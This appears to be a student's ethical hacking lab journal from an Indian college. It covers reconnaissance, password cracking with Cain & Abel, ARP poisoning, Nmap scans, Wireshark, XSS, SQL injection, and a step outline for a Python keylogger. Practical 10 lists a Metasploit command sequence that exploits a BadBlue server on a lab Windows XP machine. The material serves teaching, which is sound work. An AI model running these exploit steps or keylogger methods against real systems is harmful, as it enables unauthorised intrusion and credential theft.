CLASS : TYCS DATE : 3/1/2024

Practical No.: 1 Topic : Ethical Hacking.

Aim:- Google and Whois Reconnaissance.

- Use Google search technologies to gather information about a specific target or organization.
- Utilize advanced search operators to refine search results and access hidden information.
- Perform whos lookups to retrieve domain registration information and gathor details about the target's infrastructure.

* Reconnaissance

- In the redm of cybersecurity, reconnaissance refers to the phase of an attack where attacker gathers information about a target network, system or organization. This can include identifying potential vulnerabilities, mapping the network topology and understanding the target's security measures. Cyber reconnaissance can be performed ctively, through methods like scanning and probing or passively by analyzing publicly available information.

* Reconnaissance types:-

- Active Reconnaissance- Involves directly interacting with the target to gather information often through scanning, probing, engagement or information.

· Passive Reconnaissance:-

Involves Collecting information without direct interaction, using methods such as monitoring observation, open-source intelligence and convert operations.

* whois is a query and responce protocol widely used for querying databases the store the registered users or assignees of an internet resource such as a domain name, an IP address block, or an autonomas system number.

The WHois system provides information about the entities that own or are responsible for a particular resource on the Internet.

* Domain Name :- www.siesascn.edu.in
* IP Address :- 65.108.27.161.

CLASS : TYCS DATE : 3/1/24

Practical No.: 2 A Topic :

Aim:- Password Encryption and cracking with CrypTool and Cain and Abel.

a) Password Encryption and Decryption:-

- Use CrypTool to encrupt password using RC4 algo.
- Decrypt the encrypted passwords & verify the originalvalues.

* CrypTool

- CrypTool is an open-source software project that provides a comprehensive and interactive platforms for learning and applying cryptographic concepts.
- CrypTool allows users to experiment with different cryptographic algorithms and gain hands-on experience in a simulated environment.

* RC4 algorithm.

- RC4 is a symmetric key stream cipher designed by Ron Rivest in 1987.
- It generates a pseudo-random-key stream based on an initial key, and this key stream is combined with plaintext using XOR to produce ciphertext.

CLASS : TYCS DATE : 8/1/24

Practical No.: 2B Topic :

Aim:- Password Encryption & cracking with CrypTool and Cain & Abel.

B) Password cracking and Wireless Network Password Decoding :- • Use coin and Abel to perform a dictionary attack on Windows account password.

• Decode wireless network password using Cain & Abel's capabilities.

* Dictionary Attack :-

• A dictionary attack is a type of cyberattack where an attacker systematically tries to gain unauthorized access to a target system or user account by attempting to be a large set of words, phrases, or combination of characters from a dictionary or word list. Instead of trying random combinations of characters, as in a brute force attack a dictionary attack uses a predefined list of potential passwords.

The dictionary attack works :-

i) Password List.

ii) Automated Process.

iii) Target Accounts.

iv) Success.

CLASS : TYCS DATE : 5/1/24

Practical No.: 3A Topic :

Aim :- Window Network Analysis & ARP Poisoning.

a) Window Network Analysis.

- Execute the ipconfig command to retrive network interface information.
- Use the ping command to test network connectivity and analyce the output.
- Analyse the netstat command output to view active network connections.
- Perform a traceroute to track the route packets take to reach a target host.

(i) ipconfig :- Displays the configuration of network interfaces on a windows computer showing details such as IP address, subnet, mask and gateway.

(ii) Ping :- A network utility used to test the reachability of a host on an IP network.

(iii) arp :- stands for Address Resolution Protocal. It is used to map an IP address to physical hardware address on local network.

(iv) tracert :- Traces the route that packet take to reach a destination, showing the IP addresses of routers in the path and the time it takes for the packets to reach each other.

(v) netstat :- Displays info about network connections, routing tables, interface statistics, masquerade connections and multicast memberships on a computer.

CLASS : TYCS

DATE : 8/1/24

Practical No.: 3B

Topic :

Aim :- Windows Network Analysis and ARP Poisoning.

B) ARP Poisoning :-

- Use ARP poisoning techniques to redirect network traffic on a windows system.
- Analyze the effects of ARP poisoning on network communication and security.

* ARP Poisoning :-

ARP Poisoning also known as ARP spoofing is a technique used by attacker to intercept and manipulate communication between devices on a local network. The ARP is responsible for mapping IP addresses, the attackers sends false ARP messages to associate their MAC address with the IP address of another legitimate device on the network.

By doing this, the attacker can intercept or modify data passing between the targeted devices. This can lead ~~the~~ to various malicious activities. such as eavesdropping on senitive information, session hijacking or conducting man-in-the-middle attack.

CLASS : TYCS

DATE : 29/1/24

Practical No.: 4

Topic :

Aim:- Port scanning with NMap.

- Use NMap to perform an Ack scan to determine if a port is filtered unfiltered ~~or~~ open.
- Perform SYN, FIN, NULL, XMAS scans to identify open ports and their characteristics.
- Analyze the scan results to gather information about the target systems network services.

* NMap:- Network Mapper is a powerful open-source Network scanning tool used for network discovery anal security auoiding. It helps in identifying hosts and Services on a computer network, thus creating a map of the network structure. NMap can be utilized to find ports, detect vulnerabilities and perform various other network - related task.

- TCP scan:-

sends SYN packets to target ports, establishing connectors to determine port accessbility.

- UDP scan:- sends UDP packets to target ports to assertain whether they are open, closed or filtered.

- Stealth scan:- Utilizes SYN packets without computing handshakes to evade detection & determination port status.

- Null scan :-

sends TCP Packets with no flags enabled to target ports analyzing responses to enter port status.

- FIN scan :-

Sends TCP packets with the FIN flag set to target posts interpreting responses to discern port accessibility.

- X-mascan :-

sends TCP packets with multiple flags set, such as FIN, URG and PSH to evaluate target port responses.

CLASS : TYCS | DATE : 5/2/24

Practical No.: 5 Topic :

Aim :- Network Traffic Capture.

- Use Wireshark to capture network traffic on a specific network interface.
- Analyze the captured ~~network traffic on a~~ packets to extract relevant information and identify potential security issues.

Wirechark :-

It is a widely used network protocol analyser. It is a open-source tool that allows you to capture and interactively browse the traffic running on a computer network in real-time.

Wirechark is a poweful tool used by network administrator security professionals, developer, and reseaurchers to analyze and understand network traffic.

* HTTP :-

- Open Wirechark > Click on Capture > Options > Select till Ethernet 2 > Start Capturing > Then Minimize it.
- Type "Vulnweb login" in Google chroom > signup > Login > minimum it.
- Type "http.request.method == "GET" in Apply filters Tab > click on any Link > In Below tab, click on HyperTEXT Protocol and Expand it.

· Now. In the Apply filters type "" Http.request.method == "POST" " > Click on any link > Below tab, click on Hypertext Protocol > Expand it.

* FTP:-

· Open Wireshark > follow the steps and start Capturing

· Open Google > Search for " Wireshark sample Captures > > Click on "Ctrl F" > search for " FTPv" > click on " FTPv6l.cap" > Search for " FTPv" > Download the file.

· Open Wireshark > Open the file " FTPv6.1.cap" from folder > Type: ftp.request.cmd " in Apply filters > click on any link > In Below tab. open File Transfer Protocol (FTP) > Expand it.

CLASS : TYCS DATE : 26/2/24

Practical No.: 6 Topic :

Aim :- Persistent cross-site scripting Attack.
- Setup a vulnerable web application that is suscepitable to pertistent xss attacks.
- Craft a malicious script to exploit the xss vulnerability and execute arbitary code.
- Obcerve the consequences of the attack and understand the potential risks associated with xss vulnerabilities.

Theory :-
A persistent cross-site scripting(xss) attack is when malicious code is injected into a vulnerable web application and stored permanantely on the server. This code is then send to other users who visit the page, potentially leading to various security braches like session hijacking or data theft. To prevent such attacks, developers should implement input validation, output encoding and regulorly update their web applications.

Here's how a persistent xcs attack typically works
i) Injection.
ii) Storage.
iii) Execution.

CLASS : TYCS DATE : 18/3/24

Practical No.: 7 Topic :

Aim :- Session Impersonation with firefox & Tamper Data.

· Install & configure the Tamper Data add-on in firefox.

· Intercept & modify HTTP requests to impersonate a user's session.

· Understand the impact of session impersonation & the importance of session management.

Tamper Data :-

· It is a browser add-on that allows users to interact & modify HTTP & HTTPs requests made between a web browser and a server.

· It can be used for testing & debugging web applications as well as for security testing to identify vulnerabilities in web applications.

· Users can view and modify request header, parameter and other data before they are sent to the server.

key features :-

· Intercepting & modifying requests.

· Monitoring network traffic.

· Exporting and saving requests.

· Scripting support.

CLASS : TYCS DATE : 7/3/24

Practical No.: 8 Topic :

Aim:- SQL Injection Attack.

- Identify a web application vulnerable to SQL injection.
- Craft and execute SQL injection queries to exploit the vulnerability.
- Extract sensible information or manipulate the database through the SQL injection attack.

-SQL injection is a type of cybersecurity attack that exploits vulnerabilities in database-driven applications

-Attackers use SQL injection to insert malicious sql code into an applications input fieldsor parameters.

-This code can then manipulate the application's SQL queries to execute unauthorized commands or access sensitive data within the database.

-Without proper input validation & sanitization measures SQL injection attacks can compresive the security of an application, leading to data breaches, data manipulation or even complete ~~co~~ system compromise.

-Presentive measures such as using parameterized queries, input validation and proper user authentication are essential to mitigate the risks associated with SQL injection attacks.

CLASS : TYCS

DATE : · /3/24

Practical No.: 9

Topic :

Aim:- Creating a keylogger with Python.

- Write a Python script that captures and logs toystrokes from a target system.
- Execute the keylogger script and observe the logged keystrokes.
- Understood the potential security risks associated with keyloggers and the importance of proteding against them.

Theory:-

- A keylogger is a program or device that records the keystrokes typed in a computer's keyboard.
- It can be used for various purposes including monitoring computer activity, capaturing passwords & gathering sensitive information.

- To create a simple key logger in Python, follow these steps:-
- Import Required modules → Pynput library.
- setup keyboard listener → Pynput. keyboard Listener.
- Define Call back functions.
- Logging keystrokes.
- Handle Program Termination.

Implement logic to gracefully terminate the keylogger such as using a specific key combination or signal to stop the listener loop.

SIES (Nerul) College of Arts, Science and Commerce

UGC Recognized under 2(F) and 12(B) UGC ACT 1956.
NAAC Reaccredited - "A" Grade. Affiliated to University of Mumbai
PLOT NO. 1-C, SECTOR-V, NERUL, NAVI MUMBAI - 400 706.

SIES (Nerul) College of Arts, Science & Commerce (Autonomous)
RISE WITH EDUCATION

CLASS : TYCS DATE : 12/2/24

Practical No.: 10 Topic :

Aim:- Exploiting with Metasploit.
- Identify a vulnerable system and exploit it using metasploit module.
- hain unauthorised access to target system.
- Understand the ethical considerations.

step :-
- Open kali & windows XP → (start Badblue)
- Open kali Powershell (find IP address)
- sudo su
- nmap -sS -sV 10.0.2.255 ... (IPaddofkali)
- nmap -p80 10.0.2.255 -A
- nmap -p80 10.0.2.15 -A -ST ... (IPaddofW)
- msfconsole.
- msf6 > search badblue.
- msf6 > use exploit/windows/http/badblue.passthrus
- set RHOST 10.0.2.15 (IPaddofW)
- exploit
- sysinfo
- help
- mkdir folderfromkali

* Open ~~kali~~ & windows XP
- C:\ Program files \ Badblue \ EE
(There this file "folderfromkali" is visible.

* Open kali Powershell
- rmdir folderfromkali ...(folder gets removed from W)
- shutdown

Metasploit.
- It is a tool used for testing the security of computer system. It helps find and exploit vulnerabilities in software to strengthen security measures.
- Metasploit comes with a collection of exploits payloads, auxiliary modules, post-exploitation modules, making a comprehensive framework for penetration testing.